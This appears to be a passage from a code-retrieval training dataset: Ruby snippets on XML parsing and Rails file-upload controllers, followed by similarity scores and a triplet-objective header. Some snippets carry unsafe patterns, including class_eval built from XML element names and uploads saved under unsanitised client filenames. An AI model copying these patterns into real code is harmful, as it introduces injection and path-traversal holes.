attribs\n\n propset = properties_to_serialize(opts)\n propset.each do |property|\n value = send(property.name)\n node = root.add_element(property.name.to_s)\n unless property.type == String\n node.attributes[\"type\"] = property.type.to_s.downcase\n end\n node << REXML::Text.new(value.to_s) unless value.nil?\n end\n\n # add methods\n (opts[:methods] || []).each do |meth|\n if self.respond_to?(meth)\n xml_name = meth.to_s.gsub(/[^a-z0-9_]/, '')\n node = root.add_element(xml_name)\n value = send(meth)\n node << REXML::Text.new(value.to_s, :raw => true) unless value.nil?\n end\n end\n doc\n end", "def parse(io)\n self.doc = Nokogiri::XML(io)\n end", "def initialize(xml)\n @xml = xml.to_s\n @id = xml.at('id').inner_html\n @updated = DateTime.parse(xml.at('updated').inner_html)\n @title = xml.at('title').inner_html\n @dimensions = xml.search('dxp:dimension').collect do |dimension|\n { dimension.attributes['name'].split(':').last.to_sym => dimension.attributes['value'].split(':', 1).last }\n end\n @metrics = xml.search('dxp:metric').collect do |metric|\n { metric.attributes['name'].split(':').last.to_sym => metric.attributes['value'].split(':', 1).last.to_i }\n end\n end", "def test_provides_access_to_command_name_passed_in_constructor\n Crd::Flex::Command.new 'mxmlc' do |c|\n assert_equal( 'mxmlc', c.command )\n end\n end", "def initialize_xml(xml, root_element)\n @xml = XMLElement.build_xml(xml, root_element)\n\n if OpenNebula.is_error?(@xml)\n @xml = nil\n else\n if NOKOGIRI\n if @xml.size == 0\n @xml = nil\n end\n else\n if @xml.name != root_element\n @xml = nil\n end\n end\n end\n @xml\n end", "def load_XML(file)\n begin\n xml_file = File.open(file)\n xml_obj = Document.new(xml_file)\n xml_file.close\n rescue => e\n puts \"ERROR: Unable to create XML object from file: #{file}\"\n puts e.message\n puts e.backtrace\n exit 1\n end\n return xml_obj\nend", "def initialize(o)\r\n @xml = o\r\n \r\n # map element names to methods, prolly not the best way to do this\r\n @xml.elements.each do |e|\r\n Mb_obj.class_eval(\"def #{e.name.to_s}() REXML::XPath.first(self.xml, \\\"#{e.name.to_s}).text\\\").text end\") \t \r\n end\r\n end", "def from_qbxml(xml, opts = {})\n hash = Qbxml::Hash.from_xml(xml, underscore: true, schema: @doc)\n hash = opts[:no_namespace] ? hash : namespace_qbxml_hash(hash)\n hash.extend(DeepFind)\n end", "def parse_xml(string) #:doc:\n Nokogiri::XML::Document.parse(string) do |opts|\n opts.options = 0\n opts.noblanks\n end\n end", "def xml_to_instance\r\n ATTRIBUTES_MAP.each do |name, hash| \r\n elem = @xml.root.elements[hash[\"element\"]]\r\n unless elem.nil?\r\n val = (hash.has_key?(\"attribute\") ? elem.attributes[hash[\"attribute\"]] : elem.text)\r\n val = self.send(hash[\"from_xml\"], val) if hash.has_key?(\"from_xml\")\r\n self.send(name+\"=\", val)\r\n end\r\n end\r\n self.status = :old\r\n\r\n @xml.root.elements.each(\"link\") do |link|\r\n @feed = link.attributes[\"href\"] if link.attributes[\"rel\"] == \"edit\"\r\n end\r\n end", "def initialize(*args)\n\t\t\t@elements = []\n\t\t\tload_xml(args[0]) if args[0].kind_of? REXML::Element\n\t\tend", "def initialize( xml_file, *options )\n @node_name = \"00000\"\n\t @show_text = true\n\t @show_attributes = true\n\n if options and options[0]\n options[0].each do |xKey, xValue|\n case xKey.to_s\n when \"text\"\n @show_text = xValue\n\t\t options[0].delete( xKey )\n when \"attrs\"\n @show_attributes = xValue\n\t\t options[0].delete( xKey )\n end\n end\n end\n\n @rexml_document = REXML::Document::new( File::new( xml_file ) )\n @graph = GraphViz::new( \"XML\", *options )\n parse_xml_node( @rexml_document.root() )\n end", "def initialize(xml_elem)\n @name = xml_elem.attributes['name']\n @num_bins = xml_elem.attributes['num-bins'].to_i\n @range_min = xml_elem.attributes['min'].to_f\n @range_max = xml_elem.attributes['max'].to_f\n @title = xml_elem.attributes['title']\n end", "def create_new_xml_document( options = nil)\n p \"new xml doc created!\"\n \n blog_doc = <<-eos\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->\n<!-- It contains information about your blog's posts, comments, and categories. -->\n<!-- You may use this file to transfer that content from one site to another. -->\n<!-- This file is not intended to serve as a complete backup of your blog. -->\n\n<!-- To import this information into a WordPress blog follow these steps. -->\n<!-- 1. Log into that blog as an administrator. -->\n<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->\n<!-- 3. Choose \"WordPress\" from the list. -->\n<!-- 4. Upload this file using the form provided on that page. -->\n<!-- 5. You will first be asked to map the authors in this export file to users -->\n<!-- on the blog. For each author, you may choose to map to an -->\n<!-- existing user on the blog or to create a new user -->\n<!-- 6. WordPress will then import each of the posts, comments, and categories -->\n<!-- contained in this file into your blog -->\n\n<!-- generator=\"WordPress/MU\" created=\"2009-03-10 00:13\"-->\n<rss version=\"2.0\"\n\txmlns:excerpt=\"http://wordpress.org/export/1.0/excerpt/\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:wp=\"http://wordpress.org/export/1.0/\"\n>\n\n<channel>\n\t<title>xxx</title>\n\t<link>xxx</link>\n\t<description>xxx</description>\n\t<pubDate>xxx</pubDate>\n\t<generator>http://wordpress.org/?v=MU</generator>\n\t<language>en</language>\n\t<wp:wxr_version>1.0</wp:wxr_version>\n\t<wp:base_site_url>http://wordpress.com/</wp:base_site_url>\n\t<wp:base_blog_url>xxx</wp:base_blog_url>\n\t<wp:category><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>\n\t<image>\n\t\t<url>http://www.gravatar.com/blavatar/bc8a29036e9d9925e702dcf90996d0cd?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>\n\t\t<title>xxx</title>\n\t\t<link>xxx</link>\n\t</image>\n \n</channel>\n</rss>\n eos\n \n doc = Hpricot.XML(blog_doc)\n \n #change created date to be right-now\n #element at fixed-offset 30\n #<!-- generator=\"WordPress/MU\" created=\"2009-03-10 00:13\"-->\n doc.search(\"*\")[30].swap(\n \"<!-- generator=\\\"WordPress/MU\\\" created=\\\"#{Time.now.strftime(\"%Y-%m-%d %H:%M\")}\\\"-->\"\n )\n \n #replace default_title, default_link, the name of the blog and link to blog (wordpress), respectively\n doc.search(\"title\")[0].inner_html = @options[:default_title]\n doc.search(\"title\")[1].inner_html = @options[:default_title]\n doc.search(\"link\")[0].inner_html = @options[:default_link]\n doc.search(\"link\")[1].inner_html = @options[:default_link]\n\n #replace default_description, pub_date\n doc.search(\"description\").inner_html = @options[:default_description]\n doc.search(\"pubDate\").inner_html = @options[:pub_date]\n doc.search(\"wp:base_blog_url\").inner_html = @options[:base_blog_url]\n\n @doc = doc\n end", "def _from_xml(xml)\n return XmlSimple.xml_in(xml, {\n 'ForceArray'=>['accessGroup'],\n 'GroupTags'=>{\n 'services'=>'service',\n 'metros'=>'metro',\n 'networkIdentifiers'=>'ni'\n },\n 'KeyAttr'=>['id','name']\n })\n end", "def parse_xml(filename)\n @parser = Parser.new :pregenerated => filename\n @parser.parse\n end", "def import_xml(xml)\n if xml.is_a?(String)\n xml.force_encoding(\"UTF-8\") if xml.respond_to? :force_encoding\n xml.scrub!\n doc = REXML::Document.new xml.gsub(/>[\\s\\t]*\\n*[\\s\\t]*</, \"><\").strip\n elsif xml.is_a?(REXML::Document)\n doc = xml\n else\n raise ArgumentError, \"Argument must be an REXML::Document or well-formed XML string\"\n end\n\n # Cut to the context object\n ctx = REXML::XPath.first(doc, \".//ctx:context-object\", {\"ctx\" => \"info:ofi/fmt:xml:xsd:ctx\"})\n\n ctx.attributes.each do |attr, val|\n @admin.each do |adm, vals|\n set_administration_key(adm, val) if vals[\"label\"] == attr\n end\n end\n ctx.to_a.each do |ent|\n if @@defined_entities.value?(ent.name)\n import_entity(ent)\n else\n import_custom_node(ent)\n end\n end\n end", "def document_from_io(io)\n REXML::Document.new(io)\n end", "def from_xml(xml)\n @xml = xml\n self.before_from_xml if defined?(before_from_xml)\n from_xml_via_map(@xml)\n end", "def parse\n _build_document\n _close_open_block_commands\n @document\n end", "def factory(element_xml)\n OpenNebula::VirtualMachine.new(element_xml,@client)\n end", "def factory(element_xml)\n OpenNebula::VirtualMachine.new(element_xml,@client)\n end", "def new_empty_doc\n Atom::XML::Document.new\n end", "def initialize(content)\n document = REXML::Document.new content\n node = REXML::XPath.first document, '//soapenv:Body'\n @parsed = SoapResponse.parse node\n end", "def xml_doc version = nil\n Nokogiri::XML::Document.new version\n end", "def test_run_xml_input\n T2Server::Run.create($uri, WKF_XML, $creds, $conn_params) do |run|\n run.input_port(\"xml\").value =\n \"<hello><yes>hello</yes><no>everybody</no><yes>world</yes></hello>\"\n run.input_port(\"xpath\").value = \"//yes\"\n run.start\n run.wait\n assert_equal(run.output_port(\"nodes\").value, [\"hello\", \"world\"])\n assert(run.delete)\n end\n end", "def deserialize(xml, options = {})\n build_resource(REXML::Document.new(xml).root)\n end", "def initialize(nokogiri_xml, client)\n @xml = nokogiri_xml.to_xml\n @client = client\n @attributes = Vebra.parse(nokogiri_xml)\n end", "def initialize(str)\n @doc = AbstractDoc.new(correct_input_for_legacy_interface(str))\n dup_associations_and_attributes\n map_associations\n map_attributes\n end", "def initialize tag, cmd, *args\n @tag = tag\n @cmd = cmd\n @args = args\n end", "def initialize(xml, fileName, pa, responseDir)\r\n @responseDir = responseDir\r\n @xml = REXML::Document.new(xml) \r\n @fileName = fileName\r\n @nps = []\r\n @seed = 0\r\n\r\n \tif pa == nil\r\n\t \t@parseAdapter = ParseAdapter.new\r\n\t else\r\n\t \t@parseAdapter = pa\r\n \tend\r\n end", "def to_xml()\r\n msg = REXML::Document.new\r\n msg << REXML::Element.new(\"#{@type.to_s}\")\r\n msg.root << REXML::Element.new(\"GROUP\").add_text(\"#{@group}\") if @group != nil\r\n msg.root << REXML::Element.new(\"ID\").add_text(\"#{@procID}\") if @procID != nil\r\n msg.root << REXML::Element.new(\"PATH\").add_text(\"#{@path}\") if @path != nil\r\n msg.root << REXML::Element.new(\"ARGSLINE\").add_text(\"#{@cmdLineArgs.join(\" \")}\") if @cmdLineArgs != nil\r\n # Build the <ENV> child element\r\n if !@env.empty? \r\n line = \"\"\r\n @env.each { |k,v|\r\n line << \"#{k.to_s}=#{v.to_s} \" \r\n }\r\n msg.root << REXML::Element.new(\"ENV\").add_text(\"#{line}\")\r\n end\r\n # Build the <OML_CONFIG> child element\r\n if @omlConfig != nil\r\n el = REXML::Element.new(\"OML_CONFIG\")\r\n el.add_element(@omlConfig)\r\n msg.root << el\r\n end\r\n return msg\r\n end", "def command cmd, target=nil, value=nil\r\n @xml.tr do\r\n _tdata cmd\r\n _tdata target\r\n _tdata value\r\n end\r\n end", "def test_build_and_parse_xml\n contact = create_test_contact\n\n # Generate the XML message\n contact_as_xml = contact.to_xml\n\n # Parse the XML message and retrieve the contact element\n contact_element = REXML::XPath.first(REXML::Document.new(contact_as_xml), \"/Contact\")\n\n # Build a new contact from the XML\n result_contact = XeroGateway::Contact.from_xml(contact_element)\n\n # Check the contact details\n assert_equal contact, result_contact\n end", "def convert(str, op)\n document = RDoc::Markup::Parser.parse str\n\n document.accept op\n end", "def load_from_xml(xml_text)\n item = parse_xml(xml_text)\n if block_given? then self.create(item) { |i| yield(i) }\n else self.create(item)\n end\n end", "def xml_document\n xml = XML::Document.new\n xml.root = self.to_xml\n xml\n end", "def initialize(run, xml)\n super(run, xml)\n\n @value = nil\n @file = nil\n @remote_file = false\n end", "def from_xml(data, *args)\n xml = Nokogiri::XML::Node.from(data)\n\n create_from_xml(*args).tap do |inst|\n refs = representable_attrs.map {|attr| XML.binding_for_definition(attr) }\n \n refs.each do |ref|\n value = ref.value_in(xml)\n \n inst.send(ref.definition.setter, value)\n end\n end\n end", "def initialize(arg = '')\n @root, @raw =\n if arg.instance_of? self.class\n arg.parsed? ? [arg.root, nil] : [nil, arg.raw]\n elsif arg.is_a? Document\n # For any other RichText object we take the root node\n [arg.root, nil]\n elsif arg.is_a? Entry\n # Also accept an Entry which will be used as the\n # document root\n [arg.root, nil]\n else\n [nil, arg.to_s]\n end\n end", "def initialize( sender_id, conn_id, path, headers, body, raw=nil )\n\t\tsuper\n\t\tself.log.debug \"Parsing XML request body\"\n\t\t@reader = LibXML::XML::Reader.string( body )\n\tend", "def from_xml(xml)\n parsed_status = \"unknown\"\n\n if xml\n build_names = []\n xml.elements.each(\"feed/entry/title\") {|entry| build_names << entry.text}\n\n build_master = build_names.find {|build_name| build_name.include?(@build_name) }\n parsed_status = build_master.match(/\\(.+\\)/).to_s\n end\n\n case parsed_status\n when \"(stable)\"\n \"stable\"\n when \"(back to normal)\"\n \"stable\"\n when \"(?)\"\n \"building\"\n when \"(aborted)\"\n \"aborted\"\n when /broken/\n \"broken\"\n when \"unknown\"\n \"unknown\"\n else\n \"failed\"\n end\n\n end", "def initialize(xoxo)\n @parser = REXML::Parsers::PullParser.new(xoxo)\n\n @textstack = ['']\n @xostack = []\n @structs = []\n @tags = []\n end", "def test_assembles_only_command_name_in_to_cmd_method\n Crd::Flex::Command.new 'mxmlc' do |c|\n assert_equal( 'mxmlc', c.to_cmd )\n end\n end", "def initialize( sender_id, conn_id, path, headers, body, raw=nil )\n\t\tsuper\n\t\tself.log.debug \"Parsing XML request body\"\n\t\t@data = Nokogiri::XML( body )\n\tend", "def build_xml(node, doc = nil, xml_node=nil)\n if doc.nil?\n doc = Nokogiri::XML('<opt></opt>')\n xml_node = doc.root\n end\n if node.respond_to?(:each)\n node.drop(1).each do |child|\n if position_node?(child)\n pos = Nokogiri::XML::Node.new(\"pos\", doc)\n pos['line'] = child.first.to_s\n pos['column'] = child[1].to_s\n xml_node.add_child(pos)\n else\n if child.respond_to?(:first)\n if child.first.respond_to?(:first) and\n child.first.first == :assoc_new\n child.each do |c|\n n = Nokogiri::XML::Node.new(\n c.first.to_s.gsub(/[^a-z_]/, ''), doc)\n c.drop(1).each do |a|\n xml_node.add_child(build_xml(a, doc, n))\n end\n end\n else\n n = Nokogiri::XML::Node.new(\n child.first.to_s.gsub(/[^a-z_]/, ''), doc)\n xml_node.add_child(build_xml(child, doc, n))\n end\n else\n xml_node['value'] = child.to_s unless child.nil?\n end\n end\n end\n end\n xml_node\n end", "def build_xml(node, doc = nil, xml_node=nil)\n if doc.nil?\n doc = Nokogiri::XML('<opt></opt>')\n xml_node = doc.root\n end\n if node.respond_to?(:each)\n node.drop(1).each do |child|\n if position_node?(child)\n pos = Nokogiri::XML::Node.new(\"pos\", doc)\n pos['line'] = child.first.to_s\n pos['column'] = child[1].to_s\n xml_node.add_child(pos)\n else\n if child.respond_to?(:first)\n n = Nokogiri::XML::Node.new(child.first.to_s.gsub(/[^a-z_]/, ''), doc)\n xml_node.add_child(build_xml(child, doc, n))\n else\n xml_node['value'] = child.to_s unless child.nil?\n end\n end\n end\n end\n xml_node\n end", "def build_xml(node, doc = nil, xml_node=nil)\n if doc.nil?\n doc = Nokogiri::XML('<opt></opt>')\n xml_node = doc.root\n end\n if node.respond_to?(:each)\n node.drop(1).each do |child|\n if position_node?(child)\n pos = Nokogiri::XML::Node.new(\"pos\", doc)\n pos['line'] = child.first.to_s\n pos['column'] = child[1].to_s\n xml_node.add_child(pos)\n else\n if child.respond_to?(:first)\n n = Nokogiri::XML::Node.new(child.first.to_s.gsub(/[^a-z_]/, ''), doc)\n xml_node.add_child(build_xml(child, doc, n))\n else\n xml_node['value'] = child.to_s unless child.nil?\n end\n end\n end\n end\n xml_node\n end", "def parse_xml(doc)\n data = []\n doc.elements.each('log/logentry') do |le|\n e = Entry.new\n e.author = le.elements[\"author\"].text\n e.time = DateTime.parse(le.elements[\"date\"].text).to_local_time\n e.paths = []\n le.elements.each('paths/path') do |pa|\n e.paths.push [pa.attributes[\"action\"], pa.text]\n end\t\n e.paths.sort! do |a, b|\n a[1] <=> b[1]\n end\n e.msg = le.elements[\"msg\"].text\n e.msg = htmlize(e.msg, @user_config[:msg_gsubs]) if e.msg\n e.rev = le.attributes[\"revision\"]\n data.push e\n end\n data\n end", "def initialize(file_content)\n # Open XML file\n self.fichero = file_content\n # Initialize XML Document\n @doc = Document.new self.fichero\n # Initialize attribute default values\n self.lista_devoluciones = []\n end", "def build\n ParsedInput.new(command: @config.name,\n actions: @actions,\n options: grouped_options,\n arguments: @arguments)\n end", "def initialize(doc); end", "def xml\n @xml ||= Nokogiri::XML.parse body\n end" ]
[ "0.8127082", "0.60267097", "0.6018632", "0.58527607", "0.58104724", "0.56506145", "0.55867577", "0.5557472", "0.55316466", "0.5443015", "0.54217964", "0.54052454", "0.53603894", "0.53555053", "0.5344622", "0.5335269", "0.5335269", "0.53278136", "0.5327188", "0.5321695", "0.52913094", "0.52732897", "0.5224263", "0.51999795", "0.5197574", "0.5195423", "0.5189108", "0.5185829", "0.51825494", "0.5159384", "0.51381356", "0.5134951", "0.5130846", "0.51273996", "0.51273996", "0.51273996", "0.5118013", "0.50977767", "0.5048633", "0.50406986", "0.5030316", "0.50042534", "0.50029993", "0.49933568", "0.49795997", "0.4966642", "0.49426314", "0.49415424", "0.4932894", "0.49052083", "0.49038061", "0.48937064", "0.48918945", "0.48833972", "0.4879379", "0.4878211", "0.48623437", "0.48601592", "0.48503053", "0.4844898", "0.48439023", "0.48433334", "0.48432317", "0.48218423", "0.4818951", "0.48127016", "0.4805609", "0.4793368", "0.4793368", "0.47902367", "0.4786572", "0.4785258", "0.4783269", "0.47762224", "0.47592133", "0.47548333", "0.4752877", "0.4742747", "0.47414318", "0.4738886", "0.473846", "0.47361937", "0.4735967", "0.4733211", "0.4729826", "0.47218224", "0.47134826", "0.47060686", "0.4701285", "0.46980786", "0.4690295", "0.46869186", "0.46842262", "0.46827736", "0.46827736", "0.46677268", "0.46640575", "0.4662706", "0.46593943", "0.46513718" ]
0.6694812
1
POST /arquivos POST /arquivos.json
def create @arquivo = Arquivo.new(arquivo_params) respond_to do |format| if @arquivo.save ligacao = UserArquivo.new ligacao.arquivo_id = @arquivo.id ligacao.user_id = current_user.id ligacao.save! format.html { redirect_to arquivos_url, notice: 'Arquivo was successfully created.' } format.json { render :idex, status: :created, location: @arquivo } else format.html { render :new } format.json { render json: @arquivo.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @arquivo = Arquivo.new(params[:arquivo])\n @arquivo.save!\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { render json: @arquivo.errors, status: :unprocessable_entity }\n end\n end", "def import\n @obj = Node.create_sub_tree JSON.parse(File.read(params[:file_to_upload].tempfile.path), symbolize_names: true)\n\n respond_to do |format|\n format.html { redirect_to @obj, notice: 'Node was successfully created.' }\n format.json { render json: @obj, status: :created, location: @obj }\n end\n end", "def index\n @arquivos = Arquivo.all\n end", "def create\n @cobranca = Cobranca.new(cobranca_params)\n @cobranca.path = \"file:///home/bruno/Área%20de%20Trabalho/anexo/#{params[:cobranca][:path]}\"\n\n respond_to do |format|\n if @cobranca.save\n format.html { redirect_to cobrancas_path, notice: 'Cobranca was successfully created.' }\n format.json { render :show, status: :created, location: @cobranca }\n else\n format.html { render :new }\n format.json { render json: @cobranca.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @arquivo = Arquivo.new(arquivo_params)\n\n respond_to do |format|\n if @arquivo.save\n format.html { redirect_to @arquivo, notice: 'Arquivo was successfully created.' }\n format.json { render :show, status: :created, location: @arquivo }\n else\n format.html { render :new }\n format.json { render json: @arquivo.errors, status: :unprocessable_entity }\n end\n end\n end", "def post(path = '/files/', params = {})\n request :post, path, params\n end", "def create\n if json_path = params[:file]\n json = JSON.parse(json_path.read)\n raise StandardError, 'Must be Array' unless json.is_a? Array\n\n ActiveRecord::Base.transaction do\n form = Form.create! name: json_path.original_filename\n json.each do |qa|\n raise StandardError, 'Must be Hash.' unless qa.is_a? Hash\n question = Question.create! text: qa['question'], form_id: form.id\n %w(1 2 3 4).each do |nr|\n Answer.create! text: qa[nr], question_id: question.id\n end\n end\n end\n # there's probably a much better way to to nested model saving than this\n render :json => json\n return\n end\n end", "def create body = {}\n @connection.request(method: :post, path: \"/volumes/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end", "def create\n version_attributes = params.require(:version).permit(:id, :file, :file_file_name, :version, :uploaded_by, :reason)\n @document = Document.find(params[:document_id])\n @document.versions << Version.create(version_attributes)\n render :json => @document, :include => [:versions]\n end", "def index\n #@arquivos = Arquivo.all\n\n residencial = current_user.apartamento.residencial\n @arquivos = Arquivo\n .where(:residencial_id => residencial.id)\n .order(\"created_at\")\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @arquivos }\n end\n end", "def json_params\n params.require(:json).permit(:file1,:file,:filename,:filename1,:content_type1,:content_type,:file_contents,:file_contents1,:objekt,:objekt1)\n end", "def index\n #@complaintfiles = Complaintfile.all\n @complaintfilesqueja = Complaintfile.where([\"complaint_user_id = ?\", params[:idqueja]]).order(\"created_at ASC\")\n @idqueja = params[:idqueja]\n render json: {archivos: @complaintfilesqueja}, status: :ok\n end", "def create\n @arquivo = Arquivo.new(params[:arquivo])\n\n @arquivo.residencial = current_user.apartamento.residencial\n\n respond_to do |format|\n if @arquivo.save\n format.html { redirect_to @arquivo, notice: 'Arquivo foi criado com sucesso.' }\n format.json { render json: @arquivo, status: :created, location: @arquivo }\n\n comentario = Comentario.new\n comentario.user = current_user\n comentario.comentavel_id = @arquivo.id\n comentario.comentavel_type = \"Arquivo\"\n comentario.conteudo = \"Novo arquivo\"\n comentario.titulo = \"Novo arquivo\"\n\n comentario.save\n\n else\n format.html { render action: \"new\" }\n format.json { render json: @arquivo.errors, status: :unprocessable_entity }\n end\n end\n end", "def archivo_params\n params.require(:archivo).permit(:titulo, :descripcion, {imagenes: []})\n end", "def documento_params\n params.permit(:nome, :blob)\n end", "def create\n\n params['file'].each{|f|\n doc = Community::File.new(community_file_params)\n doc.file = f\n community_file_params[:title].blank? ? doc.title = f.original_filename : doc.title = community_file_params[:title]\n doc.author = current_user.email unless current_user.nil?\n doc.save\n\n file = File.read('public/uploads/community/file/file/' + doc._id.to_s + '/' + doc.file.filename)\n\n doc.import JSON.parse(file)\n } unless params['file'].nil?\n\n respond_to do |format|\n format.js {}\n format.json { head :no_content, status: :created }\n end\n end", "def create\n \n @ficha_doc = FichaDoc.new(ficha_doc_params)\n\n respond_to do |format|\n if @ficha_doc.save\n format.html { redirect_to @ficha_doc, notice: 'Creado ' }\n format.json { render :show, status: :created, location: @ficha_dos }\n else\n format.html { render :show }\n format.json { render json: @ficha_doc.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload(path)\n name = ::File.basename(path)\n data = ::File.read(path)\n _post_with_file(\"/files\", file: data, filename: name) { |json| json }\n end", "def create\n\n @pregoestitulosgrafico = Pregoestitulosgrafico.new(pregoestitulosgrafico_params)\n\n @arquivo = Arquivo.new\n\n path = File.join(Rails.root, \n \"public/pregoes/\", \n params[:pregoestitulosgrafico][:arquivo_id].original_filename)\n\n # escreve o arquivo no local designado\n File.open(path, \"wb\") do |f| \n f.write(params[:pregoestitulosgrafico][:arquivo_id].read)\n end\n\n @arquivo.caminho = \"public/pregoes/\" + params[:pregoestitulosgrafico][:arquivo_id].original_filename # imagem[\"public_id\"] #+ \".\" + imagem[\"format\"]\n @arquivo.nome = params[:pregoestitulosgrafico][:arquivo_id].original_filename # imagem[\"public_id\"] #+ \".\" + imagem[\"format\"]\n\n @arquivo.save\n\n @pregoestitulosgrafico.arquivo_id = @arquivo.id\n\n pregoestitulo = Pregoestitulo.find(@pregoestitulosgrafico.pregoestitulo_id)\n\n respond_to do |format|\n if @pregoestitulosgrafico.save\n format.html { redirect_to pregoestitulo, notice: 'Arquivo incluído com sucesso.' }\n format.json { render :show, status: :created, location: @pregoestitulosgrafico }\n else\n format.html { render :new }\n format.json { render json: @pregoestitulosgrafico.errors, status: :unprocessable_entity }\n end\n end\n end", "def arquivo_params\n params.require(:arquivo).permit(:titulo, :arq)\n end", "def post(path, json, params = {})\n if path.include?('covid19')\n request = Net::HTTP::Post.new(path, @headers)\n else\n request = Net::HTTP::Post.new('/v2' + path, @headers)\n end\n request.add_field('Content-Type', 'application/json')\n request.body = json\n params.each do |k, v|\n request[k] = v\n end\n send_request(request)\n end", "def save_json_quiz(params)\n unless params[:filequiz] && (tmpfileQuiz = params[:filequiz][:tempfile]) && (nameQuiz = params[:filequiz][:filename])\n return haml(:upload)\n end\n #while blk = tmpfile.read(65536)\n File.open(File.join(Dir.pwd, \"uploads\", nameQuiz), \"wb\") { |f| f.write(tmpfileQuiz.read) }\n #end\n File.join(Dir.pwd, \"uploads\", nameQuiz)\n end", "def archivo_params\n params.permit(:ruta)\n end", "def post_json(path, body)\n uri = build_uri(path)\n #puts \"🤖 POST #{path}\"\n #puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n #puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n #puts result[:result]\n result\nend", "def new\n @arquivo = Arquivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arquivo }\n end\n end", "def docs_ponto_params\n params.require(:docs_ponto).permit(:interessado_id, :arquivo, :nome)\n end", "def new\n @arquivo = Arquivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arquivo }\n end\n end", "def create\n @osoba = Osoba.new(params[:osoba])\n\n if @osoba.save\n render json: @osoba, status: :created, location: @osoba\n else\n render json: @osoba.errors, status: :unprocessable_entity\n end\n end", "def destroy\n @arquivo.destroy\n respond_to do |format|\n format.html { redirect_to arquivos_url, notice: 'Arquivo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def borrar \n\n fiesta.destroy\n render json: fiesta \n end", "def update\n respond_to do |format|\n\n if @atividade.update(atividade_params)\n\n if params[:arquivos]\n\n params[:arquivos].each_with_index { |arquivo, index|\n\n @comprovante = Comprovante.novo_comprovante(arquivo, index, usuario_atual.nome)\n @comprovante.atividade = @atividade\n if !@comprovante.save\n flash[:alert] = \"Nao foi possivel salvar o comprovante\"\n end\n }\n end\n\n format.html { redirect_to @atividade, notice: 'Atividade foi atualizada.' }\n format.json { render :show, status: :ok, location: @atividade }\n else\n format.html { render :edit }\n format.json { render json: @atividade.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @quiver = Quiver.new(quiver_params)\n\n respond_to do |format|\n if @quiver.save\n format.html { redirect_to @quiver, notice: 'Quiver was successfully created.' }\n format.json { render :show, status: :created, location: @quiver }\n else\n format.html { render :new }\n format.json { render json: @quiver.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @quinto = Quinto.new(quinto_params)\n \n @quinto.anio = params[:anio]\n @quinto.mes = params[:mes]\n \n \n respond_to do |format|\n if @quinto.save\n format.html { redirect_to @quinto, notice: 'Quinto was successfully created.' }\n format.json { render :show, status: :created, location: @quinto }\n else\n format.html { render :new }\n format.json { render json: @quinto.errors, status: :unprocessable_entity }\n end\n end\n end", "def archivo_params\n params.require(:archivo).permit(:nombre, :autor, :uploaded_file)\n end", "def post(path, data = {})\n request 'POST', path, body: data.to_json\n end", "def post_json(path, body)\n uri = build_uri(path)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n result = JSON.parse(response.body)\n puts result\n result\nend", "def post(path, form_data=nil)\n parse_json do |parser|\n @http_client.post(path, form_data) {|chunk| parser << chunk }\n end\n end", "def create\n @archivo = current_usuario.archivos.new(archivo_params)\n\n respond_to do |format|\n if @archivo.save\n format.html { redirect_to @archivo, notice: 'El archivo fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @archivo }\n else\n format.html { render :new }\n format.json { render json: @archivo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \t@tree = current_user.trees.build(tree_params)\n \tupload\n \t@tree.created_at = Time.now\n \t@tree.name = @tree.file.original_filename\n \trespond_to do |format|\n \t\tif @tree.save\n\t\t \tnodes = Node.new\n \t \t\tvariaveis = nodes.extract_variables(@nome_arquivo,@numero_da_linha[:numero_de_variaveis]+1,@numero_da_linha[:test_mode]-1)\n \t \t\tnodes.extract_tree(@nome_arquivo,@numero_da_linha[:classifier_model]+5,@numero_da_linha[:numero_de_folhas]-2,variaveis,@tree.id)\n\t\t\t### adicionar a migracao que tira o autoincremt da buceta da tabela de nodes\n\t\t\t### adicionar um numero prefixo que não vá dar problema e resa muleke\n\t\t\ti= 0\n \t\t\tformat.html { redirect_to @tree, notice: 'Arquivo Adicionado com sucesso.' }\n \t\t\tformat.json { render :show, status: :created, location: @tree }\n \t\telse\n \t\t\tformat.html { render :new }\n \t\t\tformat.json { render json: @tree.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n end", "def post_json(path, body)\n uri = build_uri(path)\n puts \"*** POST #{path}\"\n puts JSON.pretty_generate(body)\n\n post_request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')\n post_request.body = JSON.generate(body)\n\n response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) do |http|\n http.request(post_request)\n end\n\n puts \"HTTP #{response.code}\"\n result = JSON.parse(response.body)\n puts JSON.pretty_generate(result)\n result\nend", "def upload\n 